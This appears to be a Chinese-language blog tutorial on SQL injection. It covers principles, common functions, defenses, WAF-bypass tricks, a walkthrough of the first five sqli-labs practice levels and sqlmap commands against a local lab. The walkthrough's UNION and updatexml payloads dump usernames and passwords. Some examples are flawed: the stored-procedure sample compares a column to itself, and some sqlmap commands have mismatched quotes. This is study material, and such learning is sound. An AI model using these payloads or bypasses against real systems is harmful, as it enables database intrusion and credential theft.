1.SQL注入原理
-
基础概念:
- SQL注入利用了应用程序在构建SQL查询时的漏洞。攻击者通过在输入字段中注入恶意SQL代码,使得数据库执行这些未经授权的操作。
-
注入点:
- 注入点通常是在Web应用程序中接受用户输入的地方,如表单字段、URL参数、HTTP头信息等。
-
攻击步骤:
- 识别漏洞:攻击者尝试在应用程序的输入字段中输入特殊字符或SQL关键字,以测试应用程序是否将输入直接嵌入SQL查询中。
- 注入恶意SQL代码:一旦发现应用程序对输入不做足够的过滤或转义,攻击者就可以注入恶意的SQL代码。这些代码会被当作正常的SQL语句的一部分来执行。
- 获取或操作数据:通过注入恶意SQL代码,攻击者可能获得敏感数据、绕过身份验证、修改数据或执行其他恶意操作。
2.SQL注入常用函数及含义
-
SELECT:- 用途:从数据库中查询数据。
- 示例:
SELECT * FROM users WHERE username = 'admin' AND password = 'password'; - SQL注入示例:
' OR '1'='1可以使查询条件总是为真,从而绕过认证。
-
UNION:- 用途:将多个SELECT查询的结果合并到一个结果集中。
- 示例:
SELECT username, password FROM users UNION SELECT username, password FROM admins; - SQL注入示例:攻击者可以利用UNION来获取其他表的数据。
-
AND/OR:- 用途:在WHERE子句中添加条件。
- 示例:
SELECT * FROM users WHERE username = 'admin' AND password = 'password'; - SQL注入示例:
' OR '1'='1使得WHERE子句中的条件总是为真。
-
JOIN:- 用途:将两个或多个表根据某个条件连接起来。
- 示例:
SELECT users.username, orders.order_id FROM users JOIN orders ON users.id = orders.user_id; - SQL注入示例:攻击者可以利用JOIN将多个表的数据连接在一起以获取更多信息。
-
EXEC或EXECUTE:- 用途:执行动态SQL语句。
- 示例:
EXEC('SELECT * FROM users WHERE username = ''' + @username + ''''); - SQL注入示例:通过注入恶意SQL代码,执行不安全的动态SQL语句。
-
REPLACE:- 用途:替换字符串中的部分内容。
- 示例:
REPLACE('hello world', 'world', 'SQL')返回'hello SQL' - SQL注入示例:攻击者可以利用REPLACE函数修改查询结果。
-
CHAR和ASCII:- 用途:操作字符和字符的ASCII值。
- 示例:
CHAR(65)返回'A' - SQL注入示例:攻击者可能通过这些函数来构造复杂的SQL注入payload。
-
SUBSTRING:- 用途:从字符串中提取子字符串。
- 示例:
SUBSTRING('abcdef', 2, 3)返回'bcd' - SQL注入示例:攻击者可以利用SUBSTRING来提取和分析数据中的特定部分。
-
SLEEP:- 用途:使SQL查询暂停指定的时间。
- 示例:
SLEEP(5)使查询暂停5秒。 - SQL注入示例:攻击者可以通过延迟时间来进行盲注攻击(blind SQL injection)。
-
GROUP_CONCAT:- 用途:将多个行的值连接成一个字符串。
- 示例:
GROUP_CONCAT(username)将所有用户名连接成一个字符串。 - SQL注入示例:攻击者可以利用此函数将多个数据项拼接起来进行信息泄露。
3.SQL注入防御手段
1. 使用预处理语句和参数化查询
- 预处理语句(Prepared Statements):
- 使用预处理语句可以将SQL代码与用户输入数据分开处理。这样,即使用户输入中包含恶意SQL代码,也不会被执行。
- 示例(使用PHP的PDO):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username"); $stmt->bindParam(':username', $username); $stmt->execute();
2. 使用存储过程
- 存储过程(Stored Procedures):
- 存储过程在数据库中定义,执行时只允许调用过程的名称和参数,从而减少了SQL注入的风险。
- 示例:
CREATE PROCEDURE GetUser(IN username VARCHAR(50)) BEGIN SELECT * FROM users WHERE username = username; END;
3. 输入验证和过滤
-
严格验证用户输入:
- 确保对所有用户输入进行验证和过滤,只接受符合预期格式的数据。例如,使用正则表达式来验证输入。
- 示例:
$username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
-
转义特殊字符:
- 对用户输入的特殊字符进行转义,防止恶意代码被执行。
- 示例(使用PHP的
mysqli_real_escape_string):$username = mysqli_real_escape_string($conn, $_POST['username']);
4. 最小权限原则
- 限制数据库账户权限:
- 确保数据库用户只拥有执行其必要操作的最低权限,避免使用具有广泛权限的账户连接数据库。
- 示例:
GRANT SELECT, INSERT, UPDATE ON mydatabase.* TO 'limited_user'@'localhost';
5. 使用ORM(对象关系映射)
- ORM工具:
- ORM工具可以自动生成安全的SQL查询,并封装了防止SQL注入的机制。使用ORM可以减少直接编写SQL查询的需要。
4.SQL注入常用绕过waf的方法
1. 使用编码绕过
-
URL编码:
- 利用URL编码(如
%27代表')绕过过滤。 - 示例:
SELECT * FROM users WHERE username = 'admin%27 OR 1=1 --';
- 利用URL编码(如
-
Unicode编码:
- 使用Unicode编码(如
CHAR(39)代表')来绕过字符串检查。 - 示例:
SELECT * FROM users WHERE username = CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110);
- 使用Unicode编码(如
2. 变形技术
-
使用SQL函数:
- 利用SQL函数(如
CONCAT,CHAR,UNION,INTO OUTFILE)来构造绕过WAF的查询。 - 示例:
SELECT * FROM users WHERE username = CONCAT('admin', CHAR(39), ' OR 1=1 --');
- 利用SQL函数(如
-
利用SQL注释:
- 使用各种SQL注释(如
--,/* ... */,#)来隐藏注入部分。 - 示例:
SELECT * FROM users WHERE username = 'admin' /*' OR '1'='1';
- 使用各种SQL注释(如
3. 注入复杂化
-
混淆和复杂化语句:
- 使用复杂的查询结构或拼接字符串,使WAF更难检测。
- 示例:
SELECT * FROM users WHERE username = 'admin' AND 1=1 UNION SELECT null, null, null --';
-
盲注(Blind Injection):
- 使用盲注技巧(如基于布尔型盲注)来测试系统响应,绕过WAF的检测。
- 示例:
' OR (SELECT SUBSTRING(@@version,1,1) = '5') --'
4. 字符串操作
-
拼接查询:
- 使用字符串拼接函数(如
+,||,CONCAT)绕过过滤。 - 示例:
SELECT * FROM users WHERE username = 'admin' AND '1' = '1' || '1' = '1';
- 使用字符串拼接函数(如
-
混合数据类型:
- 使用不同的数据类型和运算符来绕过WAF的检测。
- 示例:
SELECT * FROM users WHERE username = 'admin' AND (1=1 OR 1=1);
5. 环境和配置绕过
- 环境特定技巧:
- 针对特定的数据库或WAF配置,使用环境特定的SQL语法或函数。
- 示例:
SELECT * FROM users WHERE username = 'admin' AND (SELECT 1 FROM dual WHERE 1=1);
6. 时间延迟和错误消息
-
时间盲注(Time-based Blind Injection):
- 使用时间延迟函数(如
SLEEP)来测试注入点,绕过WAF的检测。 - 示例:
' OR IF(1=1, SLEEP(5), 0) --'
- 使用时间延迟函数(如
-
错误消息操控:
- 利用自定义错误消息或SQL错误来识别系统的漏洞。
- 示例:
' OR (SELECT 1/0) --'
7. 改变请求方式
- HTTP方法改变:
- 使用不同的HTTP方法(如
POST,PUT,OPTIONS)进行注入尝试,绕过基于HTTP方法的WAF规则。 - 示例:
POST /index.php HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded username=admin' OR '1'='1
- 使用不同的HTTP方法(如
8. 变量和函数混淆
- 使用数据库变量和自定义函数:
- 使用数据库的自定义变量或函数来进行注入。
5.sqli-labs通关前五关
搭建环境


第一关.
1.判断是否存在sql注入,输入?id=1

2.判断sql语句是否是拼接,且是字符型还是数字型

3.首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1' order by 3 --+

order by 4

查看网页显示位是哪几位:?id=-1'union select 1,2,3--+

获取数据库名和版本信息(因为mysql 5以上有内置库):
?id=-1'union select 1,database(),version()--+

当前数据库是security,版本是5.7.26
爆表
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

通过上述操作可以得到两个敏感字段就是username和password,接下来得到该字段对应的内容。

第二关.

先试试?id=1'

应该是属于数值型注入
尝试改编第一关输入
?id=-1 union select 1,2,group_concat(username,"-",id,"-",password) from users --+

通关
第三关.

先输入?id=1'

看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号
使用order by 判断数据库有几列
?id=1' order by 3 --+
?id=1' order by 4 --+
3列回显正常,4列出现报错,说明只有3列

使用联合查询union select 判断回显位置
?id=-1') union select 1,2,3--+

?id=-1') union select 1,2,group_concat(username,"-",id,"-",password) from users --+

第四关.

还是先试试?id=1'

没有报错
再试试双引号:?id=1"

添加自定义查询:?id=-1") union select 1,2,3--+

?id=-1") union select 1,2,group_concat(username,"-",id,"-",password) from users --+

第五关.

爆库名
?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

爆表
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+
爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

6.总结SQLi的手工注入的步骤
-
识别注入点:
- 测试输入字段:在网站的输入字段(如登录框、搜索框、注册表单等)中尝试输入简单的SQL注入测试字符(如单引号
'),观察系统的响应。 - 查看URL和表单参数:检查URL中的参数和HTTP请求的表单字段,尝试修改或添加SQL注入载荷。
- 测试输入字段:在网站的输入字段(如登录框、搜索框、注册表单等)中尝试输入简单的SQL注入测试字符(如单引号
-
确定注入点是否有效:
- 错误消息:观察是否有数据库错误消息返回,这些错误消息可以揭示数据库的类型和结构。
- 布尔型测试:通过注入布尔型条件(如
1=1或1=2)来验证是否能改变查询的逻辑结果,从而判断是否存在注入漏洞。 - 时间延迟测试:使用时间延迟函数(如
SLEEP(5))来验证是否能通过时间变化判断注入的有效性。
-
探测数据库结构:
- 查询数据库版本:通过注入语句获取数据库版本信息(例如:
SELECT @@version)。 - 获取表名:使用注入语句提取数据库中的表名(例如:
SELECT table_name FROM information_schema.tables)。 - 获取列名:确定表结构,通过查询获取列名(例如:
SELECT column_name FROM information_schema.columns WHERE table_name='users')。
- 查询数据库版本:通过注入语句获取数据库版本信息(例如:
-
数据提取:
- 提取数据:根据获取的表和列信息,构造注入语句提取具体数据(例如:
SELECT username, password FROM users)。 - 联合查询:使用
UNION语句将注入的数据与正常数据结合,从而提取更多信息。
- 提取数据:根据获取的表和列信息,构造注入语句提取具体数据(例如:
-
绕过安全措施:
- 编码绕过:对注入载荷进行编码(如 URL 编码、十六进制编码)来绕过应用的过滤器。
- 盲注:在没有直接反馈的情况下,通过逻辑推测和时间延迟来获取信息(盲注分为基于布尔值的盲注和基于时间的盲注)。
-
后续步骤:
- 漏洞验证:确认注入点的确存在漏洞,确保测试结果的一致性。
- 修复建议:提出修复建议,如使用参数化查询、准备语句等防止SQL注入的措施
7.使用sqlmap通过或验证第六关
cmd sqlmap
python sqlmap.py -u ""http://sqli248041081:8081/Less-6/?id=1" --batch


获取数据库名
python sqlmap.py -u http://localhost/sqli-labs-master/Less-6/?id=1 --dbs

获得数据库中的表名
python sqlmap.py -u http://localhost/sqli-labs-master/Less-6/?id=1 -D"security" --tables

获得数据库中的列名
python sqlmap.py -u http://localhost/sqli-labs-master/Less-6/?id=1 -D"security" -T"users" --columns

获得数据库中users表的内容
python sqlmap.py -u http://localhost/sqli-labs-master/Less-6/?id=1 -D"security' -T"users" -C"username,password" --dump

获取数据
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-6/?id=1" -D secur
ity -T users -C username,password --dump

1453

被折叠的 条评论
为什么被折叠?



